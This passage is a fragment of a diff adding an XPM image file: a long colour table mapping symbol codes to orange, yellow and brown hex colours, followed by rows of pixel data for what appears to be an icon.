#E38D00", +"U-. c #E69000", +"V-. c #E89100", +"W-. c #E89000", +"X-. c #E68D00", +"Y-. c #E28800", +"Z-. c #C64F00", +"`-. c #CC6600", +" ;. c #D06300", +".;. c #D16D00", +"+;. c #CA6400", +"@;. c #A42900", +"#;. c #B56300", +"$;. c #B03700", +"%;. c #CD6500", +"&;. c #D76D00", +"*;. c #E77705", +"=;. c #E37F25", +"-;. c #7D441D", +";;. c #572A18", +">;. c #9C4620", +",;. c #EABC0E", +"';. c #C37400", +");. c #C47800", +"!;. c #AD5600", +"~;. c #852800", +"{;. c #EFE700", +"];. c #FDFE00", +"^;. c #D39C00", +"/;. c #C97B00", +"(;. c #D59200", +"_;. c #D59300", +":;. c #CB7B00", +"<;. c #E1B400", +"[;. c #CE8B00", +"};. c #D18700", +"|;. c #DC9D00", +"1;. c #E4AA00", +"2;. c #DFA100", +"3;. c #D38C00", +"4;. c #BD6100", +"5;. c #DEB800", +"6;. c #DFB600", +"7;. c #D08700", +"8;. c #DD9B00", +"9;. c #E7AF00", +"0;. c #EDBA00", +"a;. c #E2A600", +"b;. c #DA9800", +"c;. c #CC7700", +"d;. c #D59B00", +"e;. c #DF9C00", +"f;. c #E7A900", +"g;. c #ECB200", +"h;. c #EDB400", +"i;. c #EDB300", +"j;. c #EDB200", +"k;. c #E9AA00", +"l;. c #E19D00", +"m;. c #DA9000", +"n;. c #C76800", +"o;. c #EBCA00", +"p;. c #D37901", +"q;. c #4E2A0F", +"r;. c #500006", +"s;. c #920E00", +"t;. c #881900", +"u;. c #8C2000", +"v;. c #841600", +"w;. c #8A0000", +"x;. c #630006", +"y;. c #302A0C", +"z;. c #563200", +"A;. c #754500", +"B;. c #D28C00", +"C;. c #A83D00", +"D;. c #A22400", +"E;. c #EED900", +"F;. c #F2E000", +"G;. c #C65700", +"H;. c #E08800", +"I;. c #E48C00", +"J;. c #E78F00", +"K;. c #E89200", +"L;. c #E89300", +"M;. c #E78E00", +"N;. c #E58A00", +"O;. c #E28500", +"P;. c #F0D800", +"Q;. c #F0D400", +"R;. c #C84F00", +"S;. c #D06A00", +"T;. c #C25400", +"U;. c #9F3000", +"V;. c #E3CC00", +"W;. c #E7CF00", +"X;. c #A73400", +"Y;. c #C45600", +"Z;. c #D26600", +"`;. c #E47405", +" >. c #E27F25", +".>. c #572B18", +"+>. c #9F4D20", +"@>. c #D8970E", +"#>. c #B04F00", +"$>. c #B85D00", +"%>. c #B35500", +"&>. c #AC4B00", +"*>. c #C08500", +"=>. c #F3ED00", +"->. c #D79200", +";>. c #DA9900", +">>. c #CC7B00", +",>. c #CF8100", +"'>. c #DC9B00", +")>. c #E4A800", +"!>. c #DD9D00", +"~>. c #D18400", +"{>. c #F2E400", +"]>. c #F7EF00", +"^>. c #DC9700", +"/>. c #DB9700", +"(>. c #CC7600", +"_>. c #D27C00", +":>. c #E09B00", +"<>. c #EEB400", +"[>. c #EBAD00", +"}>. c #E4A000", +"|>. c #DC9200", +"1>. c #CC6C00", +"2>. c #DE8300", +"3>. c #CF6E02", +"4>. c #4A2A0F", +"5>. c #500005", +"6>. c #850000", +"7>. c #770300", +"8>. c #880000", +"9>. c #690005", +"0>. c #291B0F", +"a>. c #596702", +"b>. c #6F4500", +"c>. c #964E00", +"d>. c #A73000", +"e>. c #CC8000", +"f>. c #B63D00", +"g>. c #E4B400", +"h>. c #CB5A00", +"i>. c #E58E00", +"j>. c #E99000", +"k>. c #E98F00", +"l>. c #E88D00", +"m>. c #E58900", +"n>. c #E18300", +"o>. c #D16400", +"p>. c #CF6800", +"q>. c #FDFF00", +"r>. c #DE9B00", +"s>. c #CB5500", +"t>. c #D67000", +"u>. c #CD6600", +"v>. c #AA2F00", +"w>. c #B46800", +"x>. c #B33800", +"y>. c #CE6100", +"z>. c #E07105", +"A>. c #DF7D24", +"B>. c #A85B20", +"C>. c #C86F0E", +"D>. c #EEDA00", +"E>. c #E0BE00", +"F>. c #C78400", +"G>. c #D6A500", +"H>. c #E9D500", +"I>. c #ECD500", +"J>. c #C36C00", +"K>. c #D79300", +"L>. c #DD9E00", +"M>. c #D28500", +"N>. c #D29400", +"O>. c #DAA600", +"P>. c #EBB600", +"Q>. c #E4A700", +"R>. c #D78E00", +"S>. c #CC7900", +"T>. c #CE8200", +"U>. c #E9B100", +"V>. c #EDB700", +"W>. c #EAB100", +"X>. c #CC6F00", +"Y>. c #E19C00", +"Z>. c #E8A900", +"`>. c #EEB500", +" ,. c #EEB200", +".,. c #ECAD00", +"+,. c #E6A100", +"@,. c #DE9300", +"#,. c #D27400", +"$,. c #D99700", +"%,. c #D59800", +"&,. c #D55C00", +"*,. c #CC7D03", +"=,. c #4F3A0F", +"-,. c #4E0006", +";,. c #780000", +">,. c #520007", +",,. c #2A110F", +"',. c #442904", +"),. c #7D6B00", +"!,. c #A29100", +"~,. c #C75800", +"{,. c #B13200", +"],. c #E3BD00", +"^,. c #E4B900", +"/,. c #B12600", +"(,. c #D38800", +"_,. c #D47B00", +":,. c #D56D00", +"<,. c #DF8600", +"[,. c #E48A00", +"},. c #E98E00", +"|,. c #E78B00", +"1,. c #E48600", +"2,. c #CA5000", +"3,. c #E2A900", +"4,. c #CC5D00", +"5,. c #D76E00", +"6,. c #D16900", +"7,. c #C35100", +"8,. c #A23300", +"9,. c #A92E00", +"0,. c #C95B00", +"a,. c #DC6C05", +"b,. c #DC7B24", +"c,. c #5B2D19", +"d,. c #B26422", +"e,. c #D57B0F", +"f,. c #C77800", +"g,. c #E4C500", +"h,. c #C06B00", +"i,. c #E3A700", +"j,. c #C87800", +"k,. c #F8EE00", +"l,. c #C36B00", +"m,. c #D68E00", +"n,. c #DE9E00", +"o,. c #EBB400", +"p,. c #E8AF00", +"q,. c #E5A900", +"r,. c #E2A300", +"s,. c #DF9D00", +"t,. c #DE9A00", +"u,. c #E09C00", +"v,. c #E4A300", +"w,. c #E8AC00", +"x,. c #EBB100", +"y,. c #E9AD00", +"z,. c #E29F00", +"A,. c #EED300", +"B,. c #D07C00", +"C,. c #DB8D00", +"D,. c #E3A000", +"E,. c #EAAC00", +"F,. c #EEB300", +"G,. c #EDB100", +"H,. c #EDB000", +"I,. c #EEB000", +"J,. c #ECAC00", +"K,. c #DF9400", +"L,. c #D77E00", +"M,. c #BC4C00", +"N,. c #E07700", +"O,. c #E8DD03", +"P,. c #6A4D0C", +"Q,. c #57120C", +"R,. c #6A620C", +"S,. c #795903", +"T,. c #7E3700", +"U,. c #DCD600", +"V,. c #D88D00", +"W,. c #D16B00", +"X,. c #CF6C00", +"Y,. c #CB6B00", +"Z,. c #C96700", +"`,. c #D69500", +" '. c #E3BF00", +".'. c #BE4800", +"+'. c #BE4400", +"@'. c #F0D900", +"#'. c #F2DA00", +"$'. c #CC5900", +"%'. c #E68B00", +"&'. c #E88F00", +"*'. c #E88C00", +"='. c #E78800", +"-'. c #E38100", +";'. c #D66E00", +">'. c #CB5900", +",'. c #F6EB00", +"''. c #E3A800", +")'. c #CD5400", +"!'. c #D56C00", +"~'. c #CC6100", +"{'. c #A52700", +"]'. c #BD8000", +"^'. c #C24C00", +"/'. c #D86904", +"('. c #D77923", +"_'. c #7C431D", +":'. c #BA6724", +"<'. c #E59410", +"['. c #C46D00", +"}'. c #D9A300", +"|'. c #CF8E00", +"1'. c #E2A100", +"2'. c #E6A900", +"3'. c #E7AB00", +"4'. c #DA9500", +"5'. c #C66D00", +"6'. c #E3A300", +"7'. c #EBB200", +"8'. c #EAAF00", +"9'. c #E9AC00", +"0'. c #E7AA00", +"a'. c #E7A800", +"b'. c #EBAF00", +"c'. c #E09A00", +"d'. c #D78400", +"e'. c #FCF700", +"f'. c #F0D700", +"g'. c #CE7100", +"h'. c #DE9500", +"i'. c #E5A100", +"j'. c #EBAC00", +"k'. c #EEB100", +"l'. c #EDAF00", +"m'. c #EDAD00", +"n'. c #EBA800", +"o'. c #E49C00", +"p'. c #DE8F00", +"q'. c #D57D00", +"r'. c #CD7100", +"s'. c #FAF900", +"t'. c #E6C200", +"u'. c #C24E00", +"v'. c #FBDB00", +"w'. c #E49500", +"x'. c #BD6303", +"y'. c #EFD900", +"z'. c #BB5600", +"A'. c #EDD100", +"B'. c #EECB00", +"C'. c #CC5C00", +"D'. c #D27300", +"E'. c #C45200", +"F'. c #EACC00", +"G'. c #CA6F00", +"H'. c #E9D100", +"I'. c #C75F00", +"J'. c #C65200", +"K'. c #D27B00", +"L'. c #FCFE00", +"M'. c #DC8C00", +"N'. c #D66B00", +"O'. c #E48800", +"P'. c #E78D00", +"Q'. c #E98D00", +"R'. c #E98B00", +"S'. c #E88900", +"T'. c #E58500", +"U'. c #CE5400", +"V'. c #F3E000", +"W'. c #CF5C00", +"X'. c #D96F00", +"Y'. c #DC7300", +"Z'. c #CE6300", +"`'. c #B73D00", +" ). c #B75C00", +".). c #BA3E00", +"+). c #D56504", +"@). c #D37622", +"#). c #4B1B25", +"$). c #C26A25", +"%). c #EC9911", +"&). c #D88E00", +"*). c #CE7A00", +"=). c #CA7200", +"-). c #CA7300", +";). c #D07D00", +">). c #DD9700", +",). c #E09D00", +"'). c #EAAD00", +")). c #EAAE00", +"!). c #E5A400", +"~). c #DD9800", +"{). c #CE7600", +"]). c #D49600", +"^). c #EACB00", +"/). c #C36200", +"(). c #D88C00", +"_). c #E8AA00", +":). c #ECB100", +"<). c #EDB500", +"[). c #EBAE00", +"}). c #DE9700", +"|). c #CF6D00", +"1). c #D47600", +"2). c #E29800", +"3). c #E8A300", +"4). c #ECAA00", +"5). c #EAA800", +"6). c #D47800", +"7). c #CD6D00", +"8). c #C24500", +"9). c #D99200", +"0). c #EDD800", +"a). c #D56400", +"b). c #EECC00", +"c). c #CF6500", +"d). c #D46D00", +"e). c #F8EF00", +"f). c #D26C00", +"g). c #EDD300", +"h). c #C86000", +"i). c #EED700", +"j). c #CC6000", +"k). c #C74D00", +"l). c #EFD300", +"m). c #F2D800", +"n). c #D25E00", +"o). c #E38600", +"p). c #E98C00", +"q). c #E98A00", +"r). c #E78700", +"s). c #E38000", +"t). c #D86D00", +"u). c #D16700", +"v). c #F2DD00", +"w). c #DF9100", +"x). c #D56100", +"y). c #DD7500", +"z). c #DB7100", +"A). c #C34E00", +"B). c #B04400", +"C). c #C98200", +"D). c #B53200", +"E). c #D46304", +"F). c #D07522", +"G). c #7A431D", +"H). c #C86D27", +"I). c #F39F11", +"J). c #E4A600", +"K). c #DC9500", +"L). c #E19B00", +"M). c #E7A600", +"N). c #ECB000", +"O). c #ECAF00", +"P). c #E8A800", +"Q). c #E29E00", +"R). c #D98D00", +"S). c #C86D00", +"T). c #F1DD00", +"U). c #D49100", +"V). c #CE7000", +"W). c #EEB600", +"X). c #EFB600", +"Y). c #E49F00", +"Z). c #DB8600", +"`). c #FBF500", +" !. c #FBF300", +".!. c #E59D00", +"+!. c #EEAF00", +"@!. c #EDAE00", +"#!. c #ECAB00", +"$!. c #EAA700", +"%!. c #E9A200", +"&!. c #E59900", +"*!. c #D26900", +"=!. c #D27700", +"-!. c #E2AA00", +";!. c #C44300", +">!. c #E3AE00", +",!. c #EBC900", +"'!. c #D26800", +")!. c #D36A00", +"!!. c #F1CE00", +"~!. c #D56A00", +"{!. c #DB7E00", +"]!. c #D26700", +"^!. c #F4E000", +"/!. c #E9BA00", +"(!. c #D06000", +"_!. c #CF6100", +":!. c #F3E100", +"~. c #D26200", +",~. c #BC3800", +"'~. c #EFCF00", +")~. c #C04000", +"!~. c #D66001", +"~~. c #D07421", +"{~. c #FFD4B1", +"]~. c #5C2B1A", +"^~. c #62301A", +"/~. c #D77628", +"(~. c #FFA618", +"_~. c #F3AD06", +":~. c #F3A706", +"<~. c #F3A806", +"[~. c #F3A906", +"}~. c #F3AA06", +"|~. c #F3AB06", +"1~. c #F4AC06", +"2~. c #F4AD06", +"3~. c #F4AE06", +"4~. c #F4AF06", +"5~. c #EFA705", +"6~. c #E99E05", +"7~. c #E39505", +"8~. c #D37204", +"9~. c #E2A804", +"0~. c #FFFF04", +"a~. c #F8DE04", +"b~. c #E19005", +"c~. c #EB9E05", +"d~. c #F2AB05", +"e~. c #F5B106", +"f~. c #F6B206", +"g~. c #F6B106", +"h~. c #F7B206", +"i~. c #F4AE05", +"j~. c #F0A505", +"k~. c #E89505", +"l~. c #F0C105", +"m~. c #EFC304", +"n~. c #D97504", +"o~. c #E79605", +"p~. c #EDA005", +"q~. c #F1A805", +"r~. c #F6AD05", +"s~. c #F7B006", +"t~. c #F7AF06", +"u~. c #F6AA05", +"v~. c #F2A305", +"w~. c #F4C105", +"x~. c #FADD05", +"y~. c #FDF004", +"z~. c #FCEF04", +"A~. c #F2CE04", +"B~. c #FDF104", +"C~. c #F8E104", +"D~. c #D77304", +"E~. c #DA6E04", +"F~. c #F3CD04", +"G~. c #F0BD05", +"H~. c #E37F05", +"I~. c #F7D605", +"J~. c #F2BC05", +"K~. c #E47C05", +"L~. c #E78A05", +"M~. c #ECA005", +"N~. c #FCE605", +"O~. c #E38505", +"P~. c #DD6C05", +"Q~. c #E79F04", +"R~. c #F5D404", +"S~. c #DA6F05", +"T~. c #F4CD05", +"U~. c #E99F05", +"V~. c #DF7105", +"W~. c #E47F05", +"X~. c #DF7005", +"Y~. c #F8D805", +"Z~. c #F4BF05", +"`~. c #E47105", +" {. c #EC8705", +".{. c #EF8B05", +"+{. c #F28F06", +"@{. c #F38E06", +"#{. c #F28D06", +"${. c #F18D06", +"%{. c #F18B06", +"&{. c #EF8705", +"*{. c #EB8105", +"={. c #EA8F05", +"-{. c #E16B05", +";{. c #F2BB05", +">{. c #F2B705", +",{. c #E06205", +"'{. c #E87A05", +"){. c #E97A05", +"!{. c #E57505", +"~{. c #DD6D05", +"{{. c #CC4A04", +"]{. c #DA9104", +"^{. c #FFF804", +"/{. c #F5D604", +"({. c #CD5504", +"_{. c #E0660A", +":{. c #DE7C25", +"<{. c #7D451B", +"[{. c #4D2020", +"}{. c #FEB378", +"|{. c #FFDEC5", +"1{. c #CF6505", +"2{. c #663217", +"3{. c #5A2A1D", +"4{. c #BA6A1C", +"5{. c #F18928", +"6{. c #E58326", +"7{. c #E48226", +"8{. c #E48126", +"9{. c #E38126", +"0{. c #DE7E25", +"a{. c #D57923", +"b{. c #CC7421", +"c{. c #C36F20", +"d{. c #B75F1E", +"e{. c #BD6F1F", +"f{. c #C88020", +"g{. c #CD7921", +"h{. c #D57723", +"i{. c #E38226", +"j{. c #DF8025", +"k{. c #D87A24", +"l{. c #D07822", +"m{. c #CD8421", +"n{. c #C3751F", +"o{. c #BC621F", +"p{. c #C46D20", +"q{. c #CD7721", +"r{. c #D67A23", +"s{. c #DD7E25", +"t{. c #E07F25", +"u{. c #DC7B25", +"v{. c #D78023", +"w{. c #D48A22", +"x{. c #CC8620", +"y{. c #C1791F", +"z{. c #BC761E", +"A{. c #BD821D", +"B{. c #B6741D", +"C{. c #B0621D", +"D{. c #B8651E", +"E{. c #C27020", +"F{. c #C57520", +"G{. c #C77020", +"H{. c #CD7521", +"I{. c #CD7422", +"J{. c #D07622", +"K{. c #CF7522", +"L{. c #CD7421", +"M{. c #CC7821", +"N{. c #CB7421", +"O{. c #C76F21", +"P{. c #C47220", +"Q{. c #C56E20", +"R{. c #C77420", +"S{. c #C77121", +"T{. c #CB7321", +"U{. c #CE7422", +"V{. c #CD7221", +"W{. c #CE7621", +"X{. c #D27822", +"Y{. c #D67823", +"Z{. c #DA7B24", +"`{. c #DF7E25", +" ]. c #E38026", +".]. c #E17E25", +"+]. c #DD7C25", +"@]. c #D87923", +"#]. c #D47623", +"$]. c #D27922", +"%]. c #D67723", +"&]. c #DB7B24", +"*]. c #D77823", +"=]. c #C36D20", +"-]. c #B36B1D", +";]. c #B96E1E", +">]. c #C26D1F", +",]. c #D77824", +"']. c #CA741D", +")]. c #6E381B", +"!]. c #52241D", +"~]. c #AE4D00", +"{]. c #FFBE8D", +"]]. c #FFF9F5", +"^]. c #EA832C", +"/]. c #7E3C07", +"(]. c #471A25", +"_]. c #552125", +":]. c #66321C", +"<]. c #7D411A", +"[]. c #7D3F1D", +"}]. c #7B3F1D", +"|]. c #7B3E1D", +"1]. c #7A3E1D", +"2]. c #773D1C", +"3]. c #733B1B", +"4]. c #703A1B", +"5]. c #6C371A", +"6]. c #692F1A", +"7]. c #6B301B", +"8]. c #71391B", +"9]. c #753C1C", +"0]. c #783C1D", +"a]. c #793D1D", +"b]. c #763D1C", +"c]. c #6E331B", +"d]. c #6A301A", +"e]. c #6C361A", +"f]. c #703B1B", +"g]. c #763C1C", +"h]. c #793E1D", +"i]. c #783D1C", +"j]. c #74391C", +"k]. c #6F331B", +"l]. c #6B301A", +"m]. c #662E19", +"n]. c #642C19", +"o]. c #632C19", +"p]. c #622C19", +"q]. c #642F19", +"r]. c #6B391A", +"s]. c #6E3B1A", +"t]. c #6E341B", +"u]. c #70371B", +"v]. c #723D1B", +"w]. c #71351B", +"x]. c #72391B", +"y]. c #743E1C", +"z]. c #733D1C", +"A]. c #723A1B", +"B]. c #70341B", +"C]. c #713B1B", +"D]. c #713D1B", +"E]. c #6E371B", +"F]. c #6D331B", +"G]. c #703C1B", +"H]. c #70391B", +"I]. c #733D1B", +"J]. c #743D1B", +"K]. c #743E1B", +"L]. c #71361B", +"M]. c #73391C", +"N]. c #77401C", +"O]. c #783F1C", +"P]. c #79401D", +"Q]. c #7B411D", +"R]. c #7C411D", +"S]. c #773F1C", +"T]. c #76411C", +"U]. c #77411C", +"V]. c #78401C", +"W]. c #79401C", +"X]. c #743F1C", +"Y]. c #713F1B", +"Z]. c #6B371A", +"`]. c #652D19", +" ^. c #683119", +".^. c #703E1A", +"+^. c #77421A", +"@^. c #582422", +"#^. c #4C1A28", +"$^. c #603118", +"%^. c #FFD9BD", +"&^. c #FBAF77", +"*^. c #B64B00", +"=^. c #572D1A", +"-^. c #491925", +";^. c #481924", +">^. c #491924", +",^. c #471924", +"'^. c #431822", +")^. c #451923", +"!^. c #481923", +"~^. c #461922", +"{^. c #4B1A28", +"]^. c #4B2220", +"^^. c #974500", +"/^. c #F08531", +"(^. c #FFF6F2", +"_^. c #F38532", +":^. c #B14B00", +"<^. c #6B3713", +"[^. c #4E211F", +"}^. c #4F221F", +"|^. c #4D211E", +"1^. c #4B201D", +"2^. c #4D201F", +"3^. c #51241D", +"4^. c #603119", +"5^. c #E46701", +"6^. c #FFDDC7", +"7^. c #FFF1EA", +"8^. c #F89953", +"9^. c #D76501", +"0^. c #B65100", +"a^. c #A24600", +"b^. c #F0832E", +"c^. c #FFD9C1", +"d^. c #FFDCC5", +"e^. c #FEB57B", +"f^. c #FEB67D", +"g^. c #FEB77F", +"h^. c #FEB87F", +"i^. c #FDB479", +"j^. c #FFBF8E", +"k^. c #FFD4B5", +"l^. c #FFFBFB", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . + @ # $ % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % % & * = - . . . . . . ", +" . . . . ; > , ' ) ! ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ { ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ] ^ / ( _ . . . . . ", +" . . . . ; : < [ } | 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2 1 1 | 3 3 4 3 5 1 1 1 1 2 2 1 | | 3 3 6 | 1 1 1 1 | | 6 6 | 1 1 2 1 1 1 1 1 1 1 1 1 1 1 2 1 1 | | | 1 2 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 8 9 0 a b . . . . ", +" . . . . c d e f g h i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i i j j k l m m n m k o j i i i p k k q q q k k r r r o o k q q q k r i i i i i i i i i i i i p o k k k k o j i i i i i i i i i i i i i i i p g i s t u v . . . ", +" . . . w x y z A B C D E E E E E E E F F F F F F F F F G G G G G G G G G G G G G H H H H H H H I J K L M N N O P Q R S T T U V W X Y Z ` Z L X X . X .. +. @. Z #. X $. J S H %. %. %. %. %. %. &. &. *. =. -. Q ;. >. ,. '. ). &. !. !. !. !. !. !. !. !. !. ~. ~. C C C {. ]. ^. /. (. _. :. . . . . ", +". . . . <. [. }. |. 1. 2. 3. 4. 5. 5. 6. 6. 6. 6. 6. 6. 6. 6. 6. 6. 5. 6. 6. 7. 6. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 7. 8. 9. 0. a. b. c. d. e. b. a. f. g. h. i. j. k. f. l. m. n. o. p. q. r. s. t. t. m. u. v. w. x. o. y. z. A. B. h. 8. 7. C. D. 7. C. C. E. F. G. H. I. J. K. L. M. g. N. O. O. P. P. O. Q. D. R. R. R. S. S. S. R. 3. T. U. V. W. ! X. . . . . ", +". . . . Y. Z. `. h + .+ ++ @+ #+ $+ %+ &+ *+ =+ -+ ;+ >+ ,+ '+ )+ !+ ~+ {+ ]+ ^+ /+ (+ _+ :+ <+ [+ }+ |+ 1+ 2+ 3+ 4+ 5+ 6+ 7+ 8+ 9+ 0+ a+ b+ c+ d+ e+ f+ g+ h+ i+ j+ k+ l+ m+ m+ m+ n+ o+ p+ q+ r+ s+ r+ t+ u+ v+ w+ x+ y+ z+ A+ B+ C+ D+ E+ F+ G+ H+ I+ J+ K+ L+ M+ N+ O+ P+ Q+ R+ S+ T+ U+ V+ W+ X+ Y+ Z+ `+ @ .@ +@ @@ #@ $@ %@ &@ *@ =@ -@ ;@ >@ ,@ '@ )@ !@ r ~@ {@ ]@ . . . . ", +". . . . ^@ /@ (@ g _@ :@ <@ [@ }@ |@ 1@ 2@ 3@ 4@ 5@ 6@ 7@ 8@ 9@ 0@ a@ b@ c@ d@ e@ f@ g@ h@ i@ j@ k@ l@ m@ n@ o@ p@ q@ r@ s@ t@ u@ v@ w@ x@ y@ z@ A@ B@ C@ D@ E@ F@ G@ H@ I@ J@ K@ L@ M@ N@ O@ P@ Q@ R@ S@ T@ U@ V@ W@ X@ Y@ Z@ `@ # .# C@ +# @# ## $# %# &# *# =# -# ;# ># ,# '# )# !# ~# {# ]# ^# /# (# _# :# <# [# }# |# 1# 2# 3# 4# 5# 6# 7# 8# 9# 0# a# b# c# d# e# f# g# . . . . ", +". . . . h# i# j# g _@ k# l# m# n# o# p# q# r# s# t# u# v# w# x# y# z# A# B# C# D# E# F# G# H# I# J# K# L# M# N# O# P# Q# R# S# T# U# V# W# X# Y# Z# `# $ .$ +$ @$ #$ $$ %$ &$ *$ =$ -$ ;$ >$ ,$ '$ )$ !$ ~$ {$ ]$ ^$ /$ ($ _$ :$ <$ [$ }$ |$ 1$ 2$ 3$ 4$ 5$ 6$ 7$ 8$ 9$ 0$ a$ b$ c$ d$ e$ f$ g$ h$ i$ j$ k$ l$ m$ n$ o$ p$ q$ r$ s$ t$ u$ v$ w$ x$ y$ z$ A$ B$ C$ d# e# D$ E$ . . . . ", +". . . . h# i# j# g _@ k# F$ G$ H$ I$ J$ K$ L$ M$ N$ t# u# O$ P$ x# y# z# A# Q$ R$ S$ T$ F# G# U$ I# J# V$ L# W$ X$ N# Y$ Q# R# Z$ `$ % .% +% @% #% m@ $% %% &% *% =% -% ;% ;% >% ,% '% )% !% ~% {% ]% ^% /% (% _% :% <% [% }% |% 1% 2% 3% 4% 5% 6% 7% 8% 9% 0% a% b% 0$ a$ c% d% e% f% g% h% i% j% k% l% m% n% o% p% q% r% s% t% u% v% w% x% y% z% A% B% C% D% C$ E% e# D$ E$ . . . . ", +". . . . h# i# j# g _@ k# F% G% H% I% I$ J$ K$ L$ s# J% K% v# w# L% x# y# z# A# Q$ R$ S$ T$ F# G# H# I# J# V$ L# W$ X$ N# Y$ P# Q# M% N% O% P% Q% R% S% T% U% V% W% X% Y% Z% Z% `% & .& +& @& #& $& %& && *& =& -& ;& >& ,& '& )& !& ~& {& ]& ^& /& (& _& :& <& [& }& |& 1& 2& 3& 4& 5& 6& 7& 8& 9& 0& a& b& c& d& e& f& g& h& i& j& k& l& m& n& o& p& q& r& s& t& E% e# D$ E$ . . . . ", +". . . . h# i# j# g _@ k# u& v& w& H$ n# x& p# q# r# s# J% K% v# w# L% y& z& A& B& Q$ R$ S$ T$ F# G# U$ I# C& V$ L# W$ M# N# O# Y$ D& E& F& G& H& I& J& K& L& M& N& O& P& P& Q& R& S& T& U& V& W& X& Y& Z& `& * .* +* @* #* $* %* &* ** =* -* ;* >* ,* o@ '* )* !* ~* {* ]* ^* /* (* _* :* <* [* }* |* 1* 2* 3* 4* 5* 6* 7* 8* 9* 0* a* b* c* d* e* f* g* h* i* j* E% e# D$ E$ . . . . ", +". . . . h# i# j# g _@ k# k* l* m* w& H$ n# x& p# L$ M$ s# J% K% v# w# L% y& z& A& A# Q$ R$ S$ E# F# G# U$ I# C& V$ K# L# M# X$ n* o* p* q* r* s* t* u* v* .% w* x* x* y* y* z* A* B* C* D* E* F* G* H* $% I* J* K* q@ L* -* M* N* O* P* Q* R* S* T* U* V* W* X* Y* Z* `* = .= += @= #= $= %= &= *= == -= ;= >= ,= '= )= != ~= {= ]= ^= /= (= _= := <= [= }= |= 1= 2= e# D$ E$ . . . . ", +". . . . h# i# j# g _@ 3= 4= 5= 6= 7= H% I% 8= J$ K$ L$ M$ N$ t# u# O$ P$ L% y& 9= A& B& 0= R$ D# E# T$ a= U$ H# C& J# V$ L# W$ b= c= d= e= f= g= h= i= j= k= l= m= m= m= n= w* o= p= q= r= s= t= u= v= w= x= y= z= A= B= C= D= E= F= G= H= I= J= K= L= M= N= O= P= Q= R= S= T= U= V= W= X= Y= Z= `= - .- +- @- #- $- %- &- *- =- -- ;- >- ,- '- )- !- ~- {- ]- ^- /- e# D$ E$ . . . . ", +". . . . h# i# j# g _@ 3= (- _- :- <- 7= H% [- 8= J$ K$ L$ M$ N$ t# u# O$ P$ }- |- 1- 2- 3- 4- 5- D# E# 6- 7- G# H# I# C& 8- K# 9- 0- a- b- c- d- e- f- g- h- i- j- k- k- l= l- m- n- o- p- P% q- q- r- s- t- u- v- w- x- y- z- A- B- C- D- E- F- G- H- I- J- K- L- M- N- O- P- Q- R- S- T- Z= U- V- W- X- Y- Z- `- [@ ; .; +; @; #; $; %; &; *; =; -; ;; >; ,; '; ); !; D$ E$ . . . . ", +". . . . h# i# j# g _@ 3= ~; {; ]; 6= m* w& H$ n# x& p# q# r# M$ N$ ^; /; (; _; :; <; [; }; |; 1; 2; 3; 4; 5; 6; 7; 8; 9; 0; a; b; c; d; e; f; g; h; i; j; k; l; m; m; m; n; o; p; q; r; s; t; u; v; w; x; y; z; A; B; C; D; E; F; G; H; I; J; K; L; M; N; O; P; Q; R; S; T; U; V; W; X; Y; Z; `; > .> +> @> #> $> %> &> *> => -> ;> >> ,> '> )> !> ~> )- {> ]> ^> /> !; D$ E$ . . . . ", +". . . . h# i# j# g _@ 3= (> _> :> ]; 6= m* w& H$ n# x& p# q# <> [> }> |> 1> 2> 3> 4> 5> 6> 7> 8> 9> 0> a> b> c> d> e> f> e> g> h> i> j> k> l> m> n> o> p> o* q> r> s> s> t> u> v> w> x> y> z> s- A> B> C> D> E> F> G> H> I> J> K> L> M> H; N> O> K; P> Q> R> S> T> U> V> W> X> Y> Z> `> , ., +, @, #, $, %, &, *, =, -, ;, >, ,, ', ), !, ~, {, ], ^, /, (, _, :, <, [, D$ E$ . . . . ", +". . . . h# i# j# g _@ 3= }, |, 1, 2, :- 6= 7= w& I% n# o# 3, 4, 5, 6, 7, 8, 9, 0, a, b, c, d, e, f, g, h, i, j, k, l, e@ m, n, o, p, q, r, s, t, u, v, w, x, y, z, A, A, B, C, D, E, F, G, s@ H, I, J, K, L, M, N, O, P, Q, R, S, T, U, V, W, X, Y, Y, Z, `, ' S> .' +' @' #' $' %' &' *' =' -' ;' >' ,' '' )' !' ~' {' ]' ^' /' (' _' :' <' [' }' |' 1' 2' 3' 4' 5' 6' f# E$ . . . . ", +". . . . h# i# j# g _@ 3= 7' 8' 9' 1, 2, :- <- 7= H% I% 0' a' b' c' d' e' f' g' h' i' j' k' l' m' n' o' p' q' r' s' t' u' v' 